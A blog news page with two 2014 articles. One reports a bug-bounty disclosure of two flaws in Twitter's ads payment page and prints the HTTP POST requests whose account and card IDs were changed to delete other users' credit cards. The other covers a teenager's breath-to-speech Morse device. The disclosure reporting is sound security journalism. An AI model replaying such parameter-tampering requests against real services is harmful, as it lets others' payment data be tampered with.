Sep 16 2014

Twitter Vulnerability Allows Hacker to Delete Credit Cards from any Account

Twitter Delete Credit Card VulnerabilityAt the beginning of this month, just like other social networks, Twitter also started paying individuals for any flaws they uncover on its service with a fee of $140 or more offered per flaw under its new Bug Bounty program, and here comes the claimant.

An Egyptian Security Researcher, Ahmed Aboul-Ela, who have been rewarded by many reputed and popular technology giants including Google, Microsoft and Apple, have discovered a critical vulnerability in Twitter’s advertising service that allowed him deleting credit cards from any Twitter account.

Actually he found two vulnerabilities not one but both was having the same effect and impact.

#First Vulnerability
The first vulnerability he had spotted was in the delete functionality of credit cards in payments method page

https://ads.twitter.com/accounts/[account id]/payment_methods

Twitter Vulnerability Delete Credit Card

When he choose to delete credit card and press on the delete button, an ajax POST request is sent to the server like the following:

POST /accounts/18ce53wqoxd/payment_methods/destroy HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 29
Accept: /
Origin: https://ads.twitter.com
X-CSRF-Token: Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz/trVdQfE=
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [cookies here]
account=18ce53wqoxd&id=219643

There are only two post parameters sent in request body-
account: the twitter account id
id: the credit card id and it’s numerical without any alphabetic characters

All he had to do is to change those two parameters to his twitter account id and credit card id, then reply again the request and he suddenly found that credit card have been delete from the other twitter account without any required interaction.

The funny part that the page response was “403 forbbiden” but the credit card was actually deleted from the account :D

#Second Vulnerability
Aboul-Ela found another similar vulnerability but this time the impact was higher than the previous one.
when he tried to add an invalid credit card to his twitter account it displayed an error message

“we were unable to approve the card you entered” and show a button called “Dismiss”

Hacking Twitter Delete Credit Cards

When he pressed on the Dismiss button the credit card was disappeared from his account, so he thought it have the same effect of deleteing, so he tried to add invalid credit card again and intercepted the request which looks like the following:

POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152 HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 108
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ads.twitter.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [Cookies Here]
utf8=%E2%9C%93&authenticity_token=Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz%2FtrVdQfE%3D
&id=220152&dismiss=Dismiss

This time account parameter doesn’t exists and only credit card id is used.

So he changed the id in the url and body to his credit card id from other twitter account then replied the request, and guess what?
Credit card got deleted from the other twitter account !

VIDEO DEMONSTRATION:

Sep 15 2014

A 16-Year Old Invents Device that Converts Breath to Speech

TALK Converting Breath to SpeechA High-school student Arsh Shah Dilbagi has invented a portable and affordable device that converts breath into speech, helping people suffering from different developmental disabilities like locked-in syndrome, Parkinson’s, or ALS to communicate using only their breath.

A 16-year-old Dilbagi who hails from Harayana’s Panipat region in India has come up as the only entry from Asia in the 15 global finalists at the Google Science Fair 2014, a competition open to 13 to 18 year old thinkers.

This augmentative and alternative communication (AAC) device, Dilbagi dubbed it as ‘Talk’, can turn breath signals into speech using the assistance of Morse code. This innovative device can be used by people with developmental disabilities whose communication abilities are impaired.

Over 1.4 percent of the world’s total population suffers from some disorder that renders victims almost completely paralyzed, making them difficult in speaking and forcing them to use an augmentative and alternative communication (AAC) device to communicate with others.

EASILY AFFORDABLE – JUST $80
A majority of AAC devices use eye tracking in order to help people communicate with each other, but according to Dilbagi, the amateur inventor, most of those devices are very expensive, very expensive, slow and bulky, so in an effort to create a device that offers faster and more affordable alternative to victims, he invented “Talk.” It took him three months of research and another seven months to build the final prototype.

The device uses a basic $25 Arduino microcontroller, and the total invention costs only $80 (Rs 5000) about a hundred times less than the sort of Augmentative and Alternative Communication device used by Stephen Hawking, making it affordable to the large number of population.

HOW TALK WORKS
The device translates breath signals into electric signals using a special device called MEMS Microphone. This technology uses a pressure-sensitive diaphragm etched directly onto a silicon microchip, and an amplifying device to increase the sound of the user’s breath.

Breath to Speech Converter

The user is required to give two distinguishable exhales, varying in intensity or time, so that they can spell words out using the assistance of Morse code. The morse code can either be translated into English, or specific commands and phrases. The device features nine different voices varying in age and gender.

A microprocessor is used to interpret these breathes into dots and dashes that converts them into words. Once the breath is converted into words, they are sent to a second microprocessor that then converts them into voice.

VIDEO DEMONSTRATION
You can see the video demonstration of the device in which Dilbagi is explaining about the device.